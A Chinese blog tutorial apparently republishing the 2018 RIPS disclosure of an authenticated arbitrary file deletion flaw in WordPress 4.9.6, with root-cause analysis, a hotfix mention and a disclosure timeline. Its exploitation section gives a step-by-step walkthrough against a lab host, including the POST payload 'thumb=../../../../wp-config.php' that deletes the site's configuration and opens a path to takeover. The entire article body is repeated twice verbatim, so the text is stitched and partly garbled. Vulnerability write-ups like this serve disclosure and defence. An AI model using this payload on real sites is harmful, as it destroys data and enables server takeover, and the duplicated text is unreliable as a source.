您现在的位置是:首页 > cms教程 > WordPress教程WordPress教程
Wordpress漏洞分析和解决方法
冰兰2025-03-25 15:08:45WordPress教程已有6人查阅
导读0x01 Wordpress简介WordPress是网络上受欢迎的CMS。根据w3tech,大约30%的网站使用它1。这种广泛的采用使其成为网络罪犯的一个有趣目标。在这篇博文中,我们将介绍WordPress核
0x01 Wordpress简介
WordPress是网络上受欢迎的CMS。根据w3tech,大约30%的网站使用它
1。这种广泛的采用使其成为网络罪犯的一个有趣目标。在这篇博文中,我们将介绍WordPress核心中经过身份验证的任意文件删除漏洞,该漏洞可能导致攻击者执行任意代码。7个月前,该漏洞已报告给WordPress安全团队,但仍未修补。自首次报告以来已经过去很长时间没有任何补丁或具体计划,这使我们决定将其公之于众。
0x02 漏洞分析
近日RIPS团队 ( 作者:Karim El Ouerghemmi ) 公开了一个Wordpress的任意文件删除漏洞(需要登录),目前该漏洞仍然未修复(2018年06月27日),该漏洞影响 Wordpress 较新版 4.9.6.
文件wp-includes/post.php中: $meta['thumb']来自与数据库,是图片的属性之一。代码未检查$meta['thumb']的内容,直接带入unlink函数,如果$meta['thumb']可控则可导致文件删除。
文件/wp-admin/post.php中: $newmeta['thumb']来自于$_POST['thumb'],未经过滤直接将其存入数据库,即上一步的$meta['thumb']可控。
临时修补程序
通过将修复程序添加到functions.php当前活动的主题/子主题的文件中,可以将修复程序集成到现有的WordPress安装中。 所提供的Hotfix所做的就是挂钩wp_update_attachement_metadata()调用并确保为元值提供的数据thumb不包含任何可以进行路径遍历的部分。因此,不能删除任何安全相关文件。
提供的修复程序最终应视为临时修复,以防止攻击。我们无法监督WordPress插件的所有可能的向后兼容性问题,并建议您谨慎对WordPress文件进行任何修改。
披露时间:时间线
日期 什么
2017年11月20日 在Hackerone上向WordPress安全团队报告了漏洞。
2017年11月22日 该漏洞由安全团队进行分类和验证。
2017年12月12日 要求进步。
2017年12月18日 Wordpress正在开发一个补丁。要求发布日期。没有反应。
2018年1月9日 要求发布日期。没有反应。
2018年1月20日 由于问题的严重性和缺乏沟通而被要求对Hackerone进行调解。
2018年1月24日 WordPress安全团队估计修复时间为6个月。
2018年5月24日 被问及有关该问题的进展和/或计划,并提醒我们将尽快发布。没有反应。
2018年5月24日 将twitter DM发送给安全团队的成员,以确保他们不会忽略Hackerone上的消息。
2018年6月26日 该问题在报告后超过7个月未得到修补。
详细分析可见:WARNING: WordPress File Delete to Code Execution -
https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/0x03 漏洞利用
条件:需要登陆后台,有点鸡助
后台地址:
http://10.10.10.103/wp-login.php?redirect_to=http%3A%2F%2F10.10.10.103%2Fwp-admin%2F&reauth=1
进入后台后,点击Media(媒体),在点击Add New (添加)
进入到上传文件位置
上传好图片以后,点击右边Edit(编辑按钮)
跳转到
http://10.10.10.103/wp-admin/post.php?post=21&action=edit
此时打开F12,搜索post.php,找到_wpnonce的值为d8efee3064
然后发送post数据包 (需要带入cookie值)
POST /wp-admin/post.php?post=21&action=edit HTTP/1.1
payload: action=editattachment&_wpnonce=d8efee3064&thumb=../../../../wp-config.php
发送成功会返回302状态
此时在点击删除按钮 Delete Permanently
http://10.10.10.103/wp-admin/post.php?post=21&action=delete&_wpnonce=05621e9c6b
抓包查看,也是返回302包
再去网站根目录查看wp-config.php
发现wp-config.php (数据库配置文件被成功删除了)
再次访问首页, 会发现提示你重新安装wordpress
影响 - 攻击者可以做些什么
利用此漏洞可以使攻击者能够删除WordPress安装的任何文件(+ PHP进程用户具有删除权限的服务器上的任何其他文件)。除了擦除整个WordPress安装的可能性,如果没有可用的当前备份可能会产生灾难性后果,攻击者可以利用任意文件删除的能力来规避一些安全措施并在Web服务器上执行任意代码。更确切地说,可以删除以下文件:
.htaccess:通常,删除此文件不会产生任何安全后果。但是,在某些情况下,.htaccess文件包含与安全性相关的约束(例如,对某些文件夹的访问约束)。删除此文件将停用这些安全约束。
index.php文件:通常将空的index.php文件放入目录中,以防止Web服务器无法执行此操作的目录列表。删除这些文件会向攻击者授予受此度量保护的目录中所有文件的列表。
wp-config.php:删除WordPress安装的这个文件会在下次访问网站时触发WordPress安装过程。这是因为wp-config.php包含数据库凭据,并且没有它的存在,WordPress就像尚未安装一样。攻击者可以删除此文件,使用他为管理员帐户选择的凭据进行安装过程,之后在服务器上执行任意代码。
WordPress是网络上受欢迎的CMS。根据w3tech,大约30%的网站使用它
1。这种广泛的采用使其成为网络罪犯的一个有趣目标。在这篇博文中,我们将介绍WordPress核心中经过身份验证的任意文件删除漏洞,该漏洞可能导致攻击者执行任意代码。7个月前,该漏洞已报告给WordPress安全团队,但仍未修补。自首次报告以来已经过去很长时间没有任何补丁或具体计划,这使我们决定将其公之于众。
0x02 漏洞分析
近日RIPS团队 ( 作者:Karim El Ouerghemmi ) 公开了一个Wordpress的任意文件删除漏洞(需要登录),目前该漏洞仍然未修复(2018年06月27日),该漏洞影响 Wordpress 较新版 4.9.6.
文件wp-includes/post.php中: $meta['thumb']来自与数据库,是图片的属性之一。代码未检查$meta['thumb']的内容,直接带入unlink函数,如果$meta['thumb']可控则可导致文件删除。
文件/wp-admin/post.php中: $newmeta['thumb']来自于$_POST['thumb'],未经过滤直接将其存入数据库,即上一步的$meta['thumb']可控。
临时修补程序
通过将修复程序添加到functions.php当前活动的主题/子主题的文件中,可以将修复程序集成到现有的WordPress安装中。 所提供的Hotfix所做的就是挂钩wp_update_attachement_metadata()调用并确保为元值提供的数据thumb不包含任何可以进行路径遍历的部分。因此,不能删除任何安全相关文件。
提供的修复程序最终应视为临时修复,以防止攻击。我们无法监督WordPress插件的所有可能的向后兼容性问题,并建议您谨慎对WordPress文件进行任何修改。
披露时间:时间线
日期 什么
2017年11月20日 在Hackerone上向WordPress安全团队报告了漏洞。
2017年11月22日 该漏洞由安全团队进行分类和验证。
2017年12月12日 要求进步。
2017年12月18日 Wordpress正在开发一个补丁。要求发布日期。没有反应。
2018年1月9日 要求发布日期。没有反应。
2018年1月20日 由于问题的严重性和缺乏沟通而被要求对Hackerone进行调解。
2018年1月24日 WordPress安全团队估计修复时间为6个月。
2018年5月24日 被问及有关该问题的进展和/或计划,并提醒我们将尽快发布。没有反应。
2018年5月24日 将twitter DM发送给安全团队的成员,以确保他们不会忽略Hackerone上的消息。
2018年6月26日 该问题在报告后超过7个月未得到修补。
详细分析可见:WARNING: WordPress File Delete to Code Execution -
https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/0x03 漏洞利用
条件:需要登陆后台,有点鸡助
后台地址:
http://10.10.10.103/wp-login.php?redirect_to=http%3A%2F%2F10.10.10.103%2Fwp-admin%2F&reauth=1
进入后台后,点击Media(媒体),在点击Add New (添加)
进入到上传文件位置
上传好图片以后,点击右边Edit(编辑按钮)
跳转到
http://10.10.10.103/wp-admin/post.php?post=21&action=edit
此时打开F12,搜索post.php,找到_wpnonce的值为d8efee3064
然后发送post数据包 (需要带入cookie值)
POST /wp-admin/post.php?post=21&action=edit HTTP/1.1
payload: action=editattachment&_wpnonce=d8efee3064&thumb=../../../../wp-config.php
发送成功会返回302状态
此时在点击删除按钮 Delete Permanently
http://10.10.10.103/wp-admin/post.php?post=21&action=delete&_wpnonce=05621e9c6b
抓包查看,也是返回302包
再去网站根目录查看wp-config.php
发现wp-config.php (数据库配置文件被成功删除了)
再次访问首页, 会发现提示你重新安装wordpress
影响 - 攻击者可以做些什么
利用此漏洞可以使攻击者能够删除WordPress安装的任何文件(+ PHP进程用户具有删除权限的服务器上的任何其他文件)。除了擦除整个WordPress安装的可能性,如果没有可用的当前备份可能会产生灾难性后果,攻击者可以利用任意文件删除的能力来规避一些安全措施并在Web服务器上执行任意代码。更确切地说,可以删除以下文件:
.htaccess:通常,删除此文件不会产生任何安全后果。但是,在某些情况下,.htaccess文件包含与安全性相关的约束(例如,对某些文件夹的访问约束)。删除此文件将停用这些安全约束。
index.php文件:通常将空的index.php文件放入目录中,以防止Web服务器无法执行此操作的目录列表。删除这些文件会向攻击者授予受此度量保护的目录中所有文件的列表。
wp-config.php:删除WordPress安装的这个文件会在下次访问网站时触发WordPress安装过程。这是因为wp-config.php包含数据库凭据,并且没有它的存在,WordPress就像尚未安装一样。攻击者可以删除此文件,使用他为管理员帐户选择的凭据进行安装过程,之后在服务器上执行任意代码。
本文标签:
很赞哦! (0)
暂无内容 |
暂无内容 |
相关文章
暂无内容 |
暂无内容 |
随机图文
Wordpress调用文章第一张图片的实现方法
之前设计WordPress主题的时候调用图片一般都是用文章内附件图片,但是有些博主为了节约博客主机空间,大部分采用外联图片,这样就无法同过这种方式调用了,所以只能用下面的这种方wordpress获取当前页面链接的方法
我们知道wordpress的<?php the_permalink(); ?>和<?php echo get_permalink(); ?>可以获取页面链接,但是有些比较复杂的环境可能输出的链接是错误的,那要如何获取当前页面链接呢?4种制作WordPress表格的方法
在做网站的时候,很多时候会用到wordpress表格,今天就来讲下4种方法在网站上面加上wordpress表格1.最简单的方法 - 复制excel表格然后粘贴在wordpress页面这种方法适合很简单wordpress源码运行方式逻辑解析
记录下自己阅读wordpress的过程。打算先整体过一遍。我下载的wordpress版本是4.9.5。首先是入口文件index.php仅仅只是告诉要使用主题,然后加载wordpress环境和模板。
留言与评论 (共有 0 条评论) |